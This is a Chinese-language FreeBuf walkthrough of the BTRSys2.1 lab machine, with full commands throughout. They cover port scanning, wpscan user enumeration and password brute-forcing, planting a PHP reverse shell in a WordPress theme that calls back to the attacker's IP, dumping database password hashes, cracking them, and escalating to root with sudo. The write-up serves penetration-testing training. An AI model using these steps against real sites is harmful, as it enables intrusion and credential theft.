freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

OSCP系列靶场-Intermediate-BTRSys2.1
2023-09-19 09:19:19

OSCP系列靶场-Intermediate-BTRSys2.1

总结

getwebshell: 目录扫描 → 发现cms-wordpresswpscan专用扫描 → 扫描出账号 → 用字典爆破密码 → 登录wp后台 → 模板处修改 → 反弹shell

提 权 思 路: history发现可疑操作 → wp配置文件发现mysql密码 → mysql发现用户md5密码 → 解密登录用户 → sudo su提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.233

  • 启动靶机
    获取目标机器IP → 192.168.234.50

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

sudo nmap --min-rate 10000 -p- 192.168.234.50

PORT   STATE SERVICE                         CAST>  mtu 1500
21/tcp open  ftp                             
22/tcp open  ssh                             
80/tcp open  http      


开放的端口->21,22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.234.50

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息与MSF利用

通过nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
namp探测版本为vsftpd 3.0.3

# vsftpd 3.0.3配置文件一般在如下位置
/etc/vsftpd.conf

尝试利用msf搜索是否存在可利用漏洞

# 搜索对应脚本
msf6 > searchsploit vsftpd 3.0.3

远程拒绝服务 hhh 算了吧

21-FTP端口匿名登录测试(成功)

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.234.50
Name: anonymous

21-FTP端口-文件GET收集(无文件)

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件

# binary 以二进制模式传输文件,保证文件完整
ftp > binary
# 查看目录结构
ftp > ls -al

21-FTP端口-PT上传测试(无法上传)

测试是否可以利用PUT上传文件

# 建立一个text.txt的文件测试是否能上传
touch text.txt
# put 上传文件
ftp > put text.txt

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.2p2 Ubuntu

# 搜索对应脚本
msf6 > searchsploit OpenSSH 7.2p2

发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root<span class="label label-primary">@192.168.234.50</span> -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root<span class="label label-primary">@192.168.234.50</span> -p 22
# 密码尝试
password > root

弱密码尝试失败

22-SSH弱口令爆破(待定)

因为支持密码登录,后期没有思路的话尝试root账户的密码爆破,利用工具hydra

80-HTTP端口的信息收集

访问 http://192.168.234.50:80不是CMS我们直接从HTML隐藏信息收集开始
主页就看到了一张图片

信息收集-HTML隐藏信息查看

# 利用html2text转换纯文本方便查看
curl http://192.168.234.50:80 | html2text

信息收集-目录扫描

信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.234.50:80 -x 302,403,404
gobuster dir -u http://192.168.234.50:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000 > gobuster.txt

静待结果

漏洞探测-nikto扫描

静待结果的同时尝试漏洞扫描

nikto -h http://192.168.234.50:80

提示差不多,也是wordpress

信息收集-目录访问

正常来说,我们不能放弃每个端点的访问
但是我们也要挑选优先级,发现了wordpressCMS

首先查看robots.txt也是提示wordpress

信息收集-漏洞扫描wpscan

针对wordpress最好的方法是用扫描器先

# 针对wordpress的专用扫描器
# -e枚举 ap枚举插件 u枚举用户名 t枚举主题
wpscan --url http://192.168.234.50:80/wordpress/ --enumerate ap,u,t

经过扫描发现了两个用户btriskadmin

发现用户就要尝试暴力破解啦
暴力破解的时候使用字典最好用cewl生成(主页只有图片)

# 账号做成字典
echo 'btrisk
admin' > user.txt
# 暴力破解
wpscan --url http://192.168.234.50:80/wordpress/ -U user.txt -P /usr/share/wordlists/rockyou.txt


爆破了半天爆破出来了admin的密码admin另一个难搞

漏洞利用-getwebshell

弱口令进入wp后台

扫描的同时戳到了wp的登录界面,尝试一下弱口令

http://192.168.234.50/wordpress/wp-login.php

好家伙,直接进来了(不然就尝试爆破密码进来咯)

主题插件修改

wordpress大部分的漏洞其实与插件有关,先找找插件
现在有的插件Edit Plugins好像也没什么


不敢直接编辑现有插件,怕会把wp弄崩
尝试上传一个php反弹shell发现不太行


换了一个地方


通过搜索决定编辑一个不太重要的php主题,改为php反弹shell

/wordpress/wp-content/themes/twentyfourteen/[内容]

尝试修改404.php


修改成功

修改插件getwebshell

# 利用cp命令cp一个到当前文件夹并且命名为shell.php
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# 开启监听
sudo nc -lvnp 6666

反弹shell配置

# 利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell.php                
> 49:$ip = '127.0.0.1';  // CHANGE THIS
# 同理监听端口是第50行
grep -n "1234" shell.php
50:$port = 1234;       // CHANGE THIS
# 利用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.233/' shell.php
sed -i '50s/1234/6666/' shell.php
# 利用sed查看49与50行是否修改成功
sed -n '49,50p' shell.php


复制shell.php的内容到模板中


访问成功获取进入内网的凭证

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

# 利用python获取交互shell 
python -c "import pty;pty.spawn('/bin/bash')";
# python失败使用python3
python3 -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

www-data<span class="label label-primary">@ubuntu</span>:/$ find / -name local.txt 2>/dev/null
/home/btrisk/local.txt
www-data<span class="label label-primary">@ubuntu</span>:/$ cat /home/btrisk/local.txt
4b8be4c2f5286b2476df38d4e6467c8c

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data<span class="label label-primary">@ubuntu</span>:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:        16.04
Codename:       xenial

发行版本为Ubuntu 16.04.2,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

www-data<span class="label label-primary">@ubuntu</span>:/$ uname -a
Linux ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

内核版本为4.4.0-62

检测当前用户的权限

www-data<span class="label label-primary">@ubuntu</span>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io寻找

# 利用sudo -l寻找
www-data<span class="label label-primary">@ubuntu</span>:/$ sudo -l
[sudo] password for www-data: admin
Sorry, try again.
[sudo] password for www-data: root
Sorry, user www-data may not run sudo on ubuntu.

发现需要密码

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io寻找

# -perm 文件权限
www-data<span class="label label-primary">@ubuntu</span>:/$ find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/su
/bin/ping
/bin/fusermount
/bin/mount
/bin/ntfs-3g
/bin/ping6
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/gpasswd

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

# 要注意是否是属主情况
www-data<span class="label label-primary">@ubuntu</span>:/$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1573 Mar 21  2017 /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权

  • 如果/etc/shadow具有可读权限可以爆破密码

www-data<span class="label label-primary">@ubuntu</span>:/$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1136 Mar  6  2020 /etc/shadow

getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2>/dev/null

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

寻找root权限进程

# 调整行列,方便查询进程
stty rows 50 cols 250
# 查找进程,是否存在root权限进程
ps aux | grep root

查看历史信息

可能用户留下的历史信息具有有用的信息

history

权限提升

根据history发现了一些有趣的信息

数据库配置信息发现

www-data<span class="label label-primary">@ubuntu</span>:/var/www$ cd /var/www/html/wordpress
www-data<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ cat wp-config.php

存在数据库的账号以及密码

数据库敏感信息发现

利用这些登录数据库

mysql -u root -p 
rootpassword!


登录之后查看一些重要的信息

show databases;
use wordpress;
show tables;

重点查找用户信息

select * from wp_users;

发现了btrisk的密码a318e4507e5a74604aafb45e4741edd3md5加密

解密md5密码

尝试解密

echo 'a318e4507e5a74604aafb45e4741edd3' > pass.hash
john pass.hash

大概率是md5

同时打开在线网站进行解密尝试
https://www.somd5.com/


发现密码为roottoor

登录btrisk用户

www-data<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ su btrisk
Password: roottoor

btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ 

sudo-su提权

测试发现可以用任意sudo

btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ sudo -l
[sudo] password for btrisk: roottoor

Matching Defaults entries for btrisk on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User btrisk may run the following commands on ubuntu:
    (ALL : ALL) ALL
    (ALL : ALL) ALL

利用su提权

btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ sudo su
root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# id    
uid=0(root) gid=0(root) groups=0(root)
root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# 

提权成功

FLAG2获取

root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# cat /root/proof.txt
cat /root/proof.txt
f994ec8ac722337b7c3b7d873013917a

后记

看到登录界面要养成随手一输弱口令的习惯

解密速度感人,kalicpu干满了,以后应该用hashcat解密

# 网络安全 # web安全 # 系统安全 # 数据安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录